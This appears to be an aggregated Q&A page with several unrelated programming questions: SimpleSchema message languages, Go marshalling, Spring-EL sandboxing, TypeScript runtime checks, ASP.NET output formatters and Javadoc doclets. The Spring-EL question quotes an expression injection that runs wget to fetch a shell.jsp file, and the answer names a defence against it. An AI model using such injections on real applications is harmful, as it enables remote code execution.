SimpleSchema allows for overwriting the default error messages for all schema defined after the following call:
SimpleSchema.setDefaultMessages({
messages: {
'en': {
required: '{{{label}}} is required'
}
}
})
Very nice, now I want to add a bunch of languages, which is simple enough with the message object, but I cannot figure out how to change the language SimpleSchema uses.
Internally SimpleSchema uses the MessageBox class per schema instance. But MessageBox instances are not available globally before defining schemas and I cannot find anything in the SimpleSchema package readme code enabling to set or change the language.
How do I define or change the global language SimpleSchema uses to determine which messages to use?
Related
I have a GoLang API server project in which I currently use iota with a custom type (Method). I created a custom Marshal function to output the details related to Method whenever it is Marshaled for output to an API client. I have now gotten to a point where some of these Methods will be 'enabled' or 'disabled' depending on how the yaml config file for the project is set up by the end-user. I want to add a field in the custom Marshal, called "enabled" that will be true if the particular method is configured as enabled when the server starts.
I suspect what I want to do isn't possible but kind of wanted to run it past people smarter than me before I moved forward. Since I don't think I can add that, my plan is to essentially scrap iota and the separation of the custom iota type Method from the Details struct and make one consolidated struct that is configured on start up and saved in the challenges service for access.
Service config:
https://github.com/gregtwallace/legocerthub-backend/blob/master/pkg/challenges/service.go
The "enabled" field would need to be based off of Service's providers member (map[Method]providerService). If the Method wasn't null in the map, enabled would be true. If the Method was null, enabled would be false.
Method code:
https://github.com/gregtwallace/legocerthub-backend/blob/master/pkg/challenges/method.go
Contains iota and Marshal func.
https://github.com/gregtwallace/legocerthub-backend/blob/master/pkg/challenges/methods.go
Contains details about the Methods.
Note: The code to actually enable or disable Methods hasn't been implemented yet. Right now the two existing methods are both mandatory or the app won't start (errors and exit).
I am using Spring-EL to create dynamic csv-field to class-field mappings used in different Spring-Batch import jobs. (Different input files, same output classes). This is working very good but the idea is that it must be possible for a user to create such a mapping configuration.
The problem is that the Spring-EL expressions are not executed inside a kind of sandbox and therefor it is very easy to inject evil code. For example:
name: T(java.lang.Runtime).getRuntime().exec("wget http://localhost:8090/shell.jsp")
My question is, how can I run Spring-EL inside some kind of sandbox or restrict access to only a specific set of methods/classes? I cannot find any thing related to this topic. Are maybe Spring-EL is not the right choice for the job.
Example of what I try to achieve:
name: column[0]
category: concat(' ', column[18], column[19])
age: split(column[3], '/', 0)
The SimpleEvaluationContext has been designed to decrease application vulnerabilities.
See https://docs.spring.io/spring/docs/5.1.2.RELEASE/spring-framework-reference/core.html#expressions-evaluation-context for more info:
SimpleEvaluationContext is designed to support only a subset of the SpEL language syntax. It excludes Java type references, constructors, and bean references. It also requires you to explicitly choose the level of support for properties and methods in expressions. By default, the create() static factory method enables only read access to properties.
I have an interface which has certain properties defined.
For example:
interface Student {
name: string;
dob:string;
age:number;
city:string;
}
I read a JSON file which contains a record in this format and assign it to a variable.
let s1:Student = require('./student.json');
Now, I want to verify if s1 contains all the properties mentioned in interface Student. At runtime this is not validated. Is there any way I can do this?
There is an option of type guards, but that won't serve the purpose here. I do not know which fields would come from the JSON file. I also cannot add a discriminator(No data manipulation);
Without explicitly writing code to do so, this isn't possible in TypeScript. Why? Because once it's gone through the compiler, your code looks like this:
let s1 = require('./student.json');
Everything relating to types gets erased once compilation completes, leaving you with just the pure JavaScript. TypeScript will never emit code to verify that the type checks will actually hold true at runtime - this is explicitly outside of the language's design goals.
So, unfortunately, if you want this functionality you're going to have to write if (s1.name), if (s1.dob), etc.
(That said, it is worth noting that there are third-party projects which aim to add runtime type checking to TypeScript, but they're still experimental and it's doubtful they'll every become part of the actual TypeScript language.)
My web api uses content negotiation and there is a custom formatter that I use to render Json. However, in a small number of actions, I'd like to use the generic json formatter that comes with asp.net.
In the configureServices, I add my formatter and then the JsonOutputFormatter.
How do I set which actions or types use which serializer? Or is there a way to disallow the generic formatter to serve some types or actions?
The types that were supposed to be formatted with my custom formatter, in some settings, are formatted using the standard json formatter. And this change from setting to setting.
For example, when deployed to azure and called from a code running in the browser, using the accept header "application/json, text/plain, */*", it uses the standard Json formatter where as the same code when run in kestrel in my computer uses my custom json formatter.
In formatter constructor you may declare valid media types / encodings.
public YourOutputFormatter()
{
SupportedMediaTypes.Add(MediaTypeHeaderValue.Parse("<media types>"));
SupportedEncodings.Add(Encoding.Unicode);
}
You may override CanWriteType or CanWriteResult methods in your formatter. As CanWriteType method checks only if you can serialize from the type
protected virtual bool CanWriteType(Type type);
the CanWriteResult should be more appropriate for you case:
public override bool CanWriteResult(OutputFormatterCanWriteContext context)
{
// return true/false based on context.ContentType
// there is also context.ObjectType
}
From documentation:
Use CanWriteResult if the following conditions are true:
Your action method returns a model class.
There are derived classes which might be returned at runtime.
You need to know at runtime which derived class was returned by the action.
I am writing a brand new custom doclet using JDK 1.7. These are the problems I have found so far:
Doc methods isAnnotationType(), isAnnotationTypeElement(), isEnum() and isEnumConstant() do not work. They always return false.
PackageDoc method enums() does not work. It always returns an empty array. Enums are included in the result of methods allClasses() and ordinaryClasses().
ClassDoc method enumConstants() does not work. It always returns an empty array. Enum constants are included in the result of method fields().
PackageDoc method annotationTypes() does not work. It always returns an empty array. Annotations are included in the result of method interfaces(), so I could implement the following work-around:
AnnotationTypeDoc annotationDoc;
ClassDoc[] interfaces = packageDoc.interfaces();
for (ClassDoc classDoc : interfaces) {
if (classDoc instanceof AnnotationTypeDoc) {
annotationDoc = (AnnotationTypeDoc) classDoc;
} else {
continue;
}
process(annotationDoc);
}
Based on something that I found in the "What's New in Javadoc 5.0" page (http://docs.oracle.com/javase/7/docs/technotes/guides/javadoc/whatsnew-1.5.0.html) I am guessing that, even though I am writing it with JDK 1.7, my doclet is working in some kind of pre-5.0 compatibility mode. This is what I found in the "What's New in Javadoc 5.0" page:
Incompatibilities with Custom Doclets
Custom doclets written prior to 5.0 will have compatibility problems when run on source files that use new language features in 5.0.
New Language Features: The Doclet API and standard doclet were revised to handle the new 5.0 language features -- generics, enums, varargs and annotations.
To handle these features, custom doclets would also need to be revised.
The Javadoc tool tries -- to the extent possible -- to present so-called "legacy" doclets with a view of the program that
1) continues to work with pre-5.0 source code, and
2) matches their expectations for 5.0 source code.
So, for example, type parameters and type arguments are stripped from generic constructs, type variables and wildcard types are replaced by their erasures, and ClassDoc.fields() will return enum constants.
Solved! It really was working in pre-5.0 compatibility mode. All I had to do to was to add the following method to my custom doclet:
public static LanguageVersion languageVersion() {
return LanguageVersion.JAVA_1_5;
}